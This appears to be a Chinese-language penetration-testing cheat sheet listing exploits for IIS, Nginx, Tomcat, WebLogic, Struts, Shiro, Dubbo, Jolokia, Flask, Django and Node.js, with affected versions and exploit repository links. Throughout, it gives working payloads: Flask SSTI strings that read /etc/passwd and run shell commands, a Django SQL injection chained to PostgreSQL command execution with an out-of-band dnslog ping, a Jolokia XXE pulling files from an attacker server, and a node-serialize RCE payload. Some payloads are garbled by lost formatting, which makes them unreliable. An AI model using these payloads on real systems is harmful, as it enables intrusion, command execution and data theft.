1. PUT漏洞
用户配置不当,exp:https://github.com/hackping/HTTPMLScan.git
2. 短文件名猜解
IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。
exp:https://github.com/WebBreacher/tilde_enum
3.远程代码执行(CVE-2017-7269))
**exp**:https://github.com/zcgonvh/cve-2017-7269
4. 解析漏洞
iis6.0畸形解析:asa、cer
iis6.0目录解析:/test.asp/test.jpg
iis6.0文件解析:test.asp;.jpg
IIS7.5文件解析:test.jpg/.php
1.php.biubiu
会被当成php文件执行shiro 1.5.2版本以下
poc:构造/目标/..;/admin
即可进入后台`
影响版本
Apache Ofbiz:< 17.12.04
poc步骤
step1:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "你的指令" | base64 | tr -d '\n'
step:放入下面xml 中
ping
test
影响版本
Dubbo 2.7.0 to 2.7.6
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions (not supported by official team any longer)
exp:https://github.com/ctlyz123/CVE-2020-1948.git
1. 文件解析
用户配置不当,对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,如`1.png/.php`
2. 目录遍历
用户配置不当,扫描到目录直接访问即可
3. CRLF注入
CRLF是”回车 + 换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP Header与HTTP
Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP
消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP
Response Splitting,简称HRS。
- 会话固定漏洞
构造如下链接http://目标%0aSet-Cookie:sessionid=ghtwf01
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QBsogXDK-1606965591497)(res/2020-11-30-14-16-35.png)]可用于社工让管理员点击,有可能会获得管理员权限。 - 通过CRLF注入消息头引发反射型XSS漏洞 构造`http://目标%0d%0a%0d%0a`
4. 目录穿越
用户配置不当,可通过`../`遍历
影响范围
Apache Tomcat 7.0.0 - 7.0.81
exp:https://raw.githubusercontent.com/zhzyker/exphub/master/tomcat/cve-2017-12615_cmd.py
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
exp:https://github.com/0nise/CVE-2020-1938
影响范围
<= 9.0.34
<= 8.5.54
<= 7.0.103
exp:https://github.com/masahiro331/CVE-2020-9484.git
影响范围
Jboss AS 5.x/6.x
exp
https://github.com/yunxu1/jboss-_CVE-2017-12149
影响范围
Oracle WebLogic Server如下版本
12.2.1.0
12.1.3.0
12.1.2.0
10.3.6.0
exp 在后面
影响范围
Oracle Weblogic Server如下版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
exp 在后面
影响版本
10.0.2
10.3.6
exp 在后面
影响范围
Oracle Weblogic Server如下版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
注意:该漏洞需要用户名密码的认证才可利用。
exp 在后面
Oracle Weblogic Server如下版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
上述exp地址 :https://github.com/0xn0ne/weblogicScanner
影响版本
S2-057 CVE-2018-11776 Struts 2.3 to 2.3.34,Struts 2.5 to 2.5.16
S2-048 CVE-2017-9791 Struts 2.3.X
S2-046 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10
S2-045 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10
S2-037 CVE-2016-4438 Struts 2.3.20-2.3.28.1
S2-032 CVE-2016-3081 Struts 2.3.18-2.3.28
S2-020 CVE-2014-0094 Struts 2.0.0-2.3.16
S2-019 CVE-2013-4316 Struts 2.0.0-2.3.15.1
S2-016 CVE-2013-2251 Struts 2.0.0-2.3.15
S2-013 CVE-2013-1966 Struts 2.0.0-2.3.14
S2-009 CVE-2011-3923 Struts 2.0.0-2.3.1.1
S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1
exp地址:https://github.com/Lucifer1993/struts-scan
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bzF1Lbmv-1606965591499)(res/2020-11-30-10-30-39.png)]
1
. Jolokia xxe
poc
step1:构造文件
第一个文件 logback.xml %remote;%int;]> &trick; 构造第二个文件 fileread.dtd ">
step2: 将两个文件传入公网服务器
step3:访问目标/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/你的服务器!/logback.xml
2. Jolokia rce
exp项目地址
1. flask-ssti
> ```python2
> ```
> #读文件
> `{
{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}`
>
> {
{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
> #写文件
> {
{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
> #执行指令
> {
{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)
>
> {
{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)
>
> {
{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)
> ```
> python3
> ```
> #文件读取
> {
{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
> #任意执行
> {
{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
```
**2. Django-JSONfield-sql注入(CVE-2019-14234)**
> **影响版本**
> >Django
> >1.11.x before 1.11.23
> >2.1.x before 2.1.11
> >2.2.x before 2.2.4 poc `http://目标/admin/vuln/collection/?detail__title')='1' or 1=1--`
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112341527.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hhY2t6a2Fx,size_16,color_FFFFFF,t_70)
结合**CVE-2019-9193**构造
**?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20**
因为是无回显执行,使用**ping**命令结合**dns_log**判断是否执行
**?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping just.erh3bt.dnslog.cn'--%20**
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112454610.png)
**3. Django debug page XSS漏洞**
直接访问`目标/create_user/?username=`
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112505295.png)
再次访问
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112511764.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hhY2t6a2Fx,size_16,color_FFFFFF,t_70)
**4. Django url 跳转漏洞(CVE-2018-14574)**
> 影响版本
> >1.11.0 <= version < 1.11.15
> >2.0.0 <= version < 2.0.8
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112656917.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hhY2t6a2Fx,size_16,color_FFFFFF,t_70)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112545699.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hhY2t6a2Fx,size_16,color_FFFFFF,t_70)
## 10. node.js
**1. 反序列化RCE漏洞**
C
VE-2017-5941
poc:(***执行 ls /***)
var y = { rce : function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }, } var serialize = require('node-serialize'); console.log("Serialized: \n" + serialize.serialize(y));
生成结果如下
Serialized: {"rce":"_$$ND_FUNC$$_function(){\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }"}
注意,最后一个双引号前要补一个()
最终结果如下
{“rce”:"_ N D F U N C ND_FUNC NDFUNC_function(){\n require(‘child_process’).exec(‘ls /’, function(error, stdout, stderr) { console.log(stdout) });\n }()"}
`
Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5
使用burp抓包构造/static/../../../a/../../../../etc/passwd
即可。